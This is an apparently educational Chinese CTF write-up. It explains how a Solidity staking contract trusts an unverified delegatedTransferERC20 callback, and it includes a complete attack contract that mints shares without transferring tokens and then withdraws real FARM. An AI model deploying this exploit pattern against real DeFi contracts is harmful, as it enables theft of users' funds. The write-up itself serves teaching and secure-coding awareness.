CTF-freebie
题目源码点击
这道题,怎么说,和昨天写的那个CTF-tasty-stake的漏洞原理一样
看到这段代码,经典的委托调用,只不过这次又是不实现它
function deposit( uint256 farmDeposit, address payable from, address to ) external returns (uint256 shares) { require(farmDeposit > 0, "deposits must be nonzero"); require(to != address(0) && to != address(this), "to"); require(from != address(0) && from != address(this), "from");
shares = farmDeposit; if (xfarm.totalSupply() != 0) { uint256 farmBalance = farm.balanceOf(address(this)); shares = (shares * xfarm.totalSupply()) / farmBalance; }
if (isContract(from)) { require(IAdvisor(from).owner() == msg.sender); // admin IAdvisor(from).delegatedTransferERC20(address(farm), address(this), farmDeposit); } else { require(from == msg.sender); // user farm.safeTransferFrom(from, address(this), farmDeposit); }
xfarm.mint(to, shares); }
|
这个函数实现的是存款合约,存入代币后,就可以获得股份,存入越多,获得的就越多。
然而又是一个对外部调用,没有检查。
攻击合约如下:
//SPDX-License-Identifier: MIT pragma solidity ^0.8.4;
interface IRewardsAdvisor { function withdraw( uint256 shares, address to, address payable from ) external returns (uint256 rewards);
function deposit( uint256 farmDeposit, address payable from, address to ) external returns (uint256 shares); } contract Hack{
IRewardsAdvisor rewardsAdvisor;
constructor(address _rewardsAdvisor) { rewardsAdvisor = IRewardsAdvisor(_rewardsAdvisor); } //不实现这个功能--欺骗 function delegatedTransferERC20(address token, address to, uint256 amount) external { }
function runExploit() external { uint256 depositAmount = 1e18 * 1e18; //大量的FARM uint256 shares = rewardsAdvisor.deposit(depositAmount, payable(address(this)), address(this));
rewardsAdvisor.withdraw(shares, msg.sender, payable(address(this))); }
}
|
攻击思路:首先使用攻击合约调用deposit函数,存入大量的代币,然后接收方回调攻击合约的delegatedTransferERC20函数,向实现把代币转入。但是,攻击合约没有实现这delegatedTransferERC20个功能,而被攻击的合约也并没有检查,所以就给攻击合约大量的股份,最后再实现withdraw函数功能,将攻击者合约中的xFARM,转换回 FARM,再转移给攻击者自己。
个人认为,外部调用,要进行检查,严格的审查是否实现了合理的要求。